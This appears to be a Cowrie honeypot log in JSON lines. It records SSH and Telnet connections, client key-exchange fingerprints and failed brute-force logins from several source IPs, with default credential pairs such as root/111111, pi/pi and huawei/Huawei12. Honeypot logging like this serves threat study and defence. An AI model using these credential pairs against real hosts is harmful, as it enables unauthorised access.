{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":43310,"dst_ip":"10.17.0.5","dst_port":22,"session":"466db17358fb","protocol":"ssh","message":"New connection: 47.86.95.62:43310 (10.17.0.5:22) [session: 466db17358fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:08:52.103767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:08:52.108304Z","src_ip":"47.86.95.62","session":"466db17358fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:08:52.313366Z","src_ip":"47.86.95.62","session":"466db17358fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123","message":"login attempt [app/app123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:08:52.927492Z","src_ip":"47.86.95.62","session":"466db17358fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:08:54.134950Z","src_ip":"47.86.95.62","session":"466db17358fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":43334,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ee225c0edb4","protocol":"ssh","message":"New connection: 47.86.95.62:43334 (10.17.0.5:22) [session: 5ee225c0edb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:08:58.301205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:09:07.932575Z","src_ip":"47.86.95.62","session":"5ee225c0edb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:09:07.937927Z","src_ip":"47.86.95.62","session":"5ee225c0edb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:09:14.558043Z","src_ip":"8.218.166.49","session":"c101db1b0bb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"fastuser","message":"login attempt [fastuser/fastuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:09:17.346122Z","src_ip":"47.86.95.62","session":"5ee225c0edb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.4","message":"Connection lost after 21.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:09:19.678316Z","src_ip":"47.86.95.62","session":"5ee225c0edb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":45702,"dst_ip":"159.203.135.109","dst_port":22,"session":"9987559ca408","protocol":"ssh","message":"New connection: 2.57.122.238:45702 (159.203.135.109:22) [session: 9987559ca408]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:09:20.258161Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:09:20.365571Z","src_ip":"2.57.122.238","session":"9987559ca408","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:09:25.105903Z","src_ip":"8.218.166.49","session":"304255fb35e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"103.3","message":"Connection lost after 103.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:09:25.507935Z","src_ip":"8.218.166.49","session":"c101db1b0bb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":54702,"dst_ip":"10.17.0.5","dst_port":22,"session":"874c742bb718","protocol":"ssh","message":"New connection: 47.86.95.62:54702 (10.17.0.5:22) [session: 874c742bb718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:09:28.300745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:09:28.305108Z","src_ip":"47.86.95.62","session":"874c742bb718","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:09:28.512392Z","src_ip":"47.86.95.62","session":"874c742bb718","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"huawei","password":"Huawei12","message":"login attempt [huawei/Huawei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:09:29.225399Z","src_ip":"47.86.95.62","session":"874c742bb718","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:09:30.962835Z","src_ip":"47.86.95.62","session":"874c742bb718","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"pi","message":"login attempt [pi/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:09:31.304638Z","src_ip":"8.218.166.49","session":"f5513e9820b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":35570,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7957911396a","protocol":"ssh","message":"New connection: 47.86.95.62:35570 (10.17.0.5:22) [session: c7957911396a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:09:34.818250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:09:34.823210Z","src_ip":"47.86.95.62","session":"c7957911396a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00141882896423,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:09:34.858557Z","src_ip":"64.251.157.32","session":"89d8dcbd9180","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:09:35.029861Z","src_ip":"47.86.95.62","session":"c7957911396a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.251.157.32","src_port":36480,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5284dc63377","protocol":"telnet","message":"New connection: 64.251.157.32:36480 (10.17.0.5:23) [session: f5284dc63377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:09:35.082096Z"}
{"eventid":"cowrie.login.failed","username":"omm","password":"omm","message":"login attempt [omm/omm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:09:35.662751Z","src_ip":"47.86.95.62","session":"c7957911396a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:09:36.873954Z","src_ip":"47.86.95.62","session":"c7957911396a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"107.6","message":"Connection lost after 107.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:09:38.177031Z","src_ip":"8.218.166.49","session":"f5513e9820b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":42554,"dst_ip":"10.17.0.5","dst_port":22,"session":"26e52c84d929","protocol":"ssh","message":"New connection: 8.218.166.49:42554 (10.17.0.5:22) [session: 26e52c84d929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:10:02.668307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:10:02.725024Z","src_ip":"8.218.166.49","session":"26e52c84d929","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:10:03.289498Z","src_ip":"8.218.166.49","session":"26e52c84d929","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":59052,"dst_ip":"10.17.0.5","dst_port":22,"session":"df3b10f4b5e6","protocol":"ssh","message":"New connection: 47.86.95.62:59052 (10.17.0.5:22) [session: df3b10f4b5e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:10:04.130594Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123","message":"login attempt [root/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:10:05.187437Z","src_ip":"8.218.166.49","session":"26e52c84d929","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:10:05.298436Z","src_ip":"47.86.95.62","session":"df3b10f4b5e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:10:05.304706Z","src_ip":"47.86.95.62","session":"df3b10f4b5e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.199.83","src_port":40196,"dst_ip":"10.17.0.5","dst_port":22,"session":"4086995f4b08","protocol":"ssh","message":"New connection: 62.210.199.83:40196 (10.17.0.5:22) [session: 4086995f4b08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:10:05.464352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:10:05.469611Z","src_ip":"62.210.199.83","session":"4086995f4b08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:10:05.577252Z","src_ip":"62.210.199.83","session":"4086995f4b08","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6c:9e:bc:15:6b:ed:78:e8:be:5c:15:ba:cf:6f:f7:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAx7sQ/EbBAeicXYPZ4XEtY/oapmL7oO6yTnwrM9qc9QWe4cLU7BFyNAICPkiNAqiaEdCySc1wyeBDj+e28vOuPZ7BWlCJmXc7yeuJTF4lDET3zYvLZGioBO5zTL8na6jyUf3L6znTmb21WhoVm20Ifos/jc8WCQTDY87E56p8awqN5QrwttS5rfN2CFDPcTBuxJfrO2myHvicl6+FVVT1sFsK/y7rilr4dTFL+zUB7Ig+OvHRh1osipAa8vzWROINo7+Pl4VmMPQ1OHKcnlqcJ0qItgL25/Ul+Mgtz//V2el4m88CVfIYMFlkB2fsmipm1QaV+ULNA9Dgw1xtxEmI0w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6c:9e:bc:15:6b:ed:78:e8:be:5c:15:ba:cf:6f:f7:ff","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:10:05.972354Z","src_ip":"62.210.199.83","session":"4086995f4b08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6c:9e:bc:15:6b:ed:78:e8:be:5c:15:ba:cf:6f:f7:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAx7sQ/EbBAeicXYPZ4XEtY/oapmL7oO6yTnwrM9qc9QWe4cLU7BFyNAICPkiNAqiaEdCySc1wyeBDj+e28vOuPZ7BWlCJmXc7yeuJTF4lDET3zYvLZGioBO5zTL8na6jyUf3L6znTmb21WhoVm20Ifos/jc8WCQTDY87E56p8awqN5QrwttS5rfN2CFDPcTBuxJfrO2myHvicl6+FVVT1sFsK/y7rilr4dTFL+zUB7Ig+OvHRh1osipAa8vzWROINo7+Pl4VmMPQ1OHKcnlqcJ0qItgL25/Ul+Mgtz//V2el4m88CVfIYMFlkB2fsmipm1QaV+ULNA9Dgw1xtxEmI0w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:10:05.976694Z","src_ip":"62.210.199.83","session":"4086995f4b08","protocol":"ssh"}
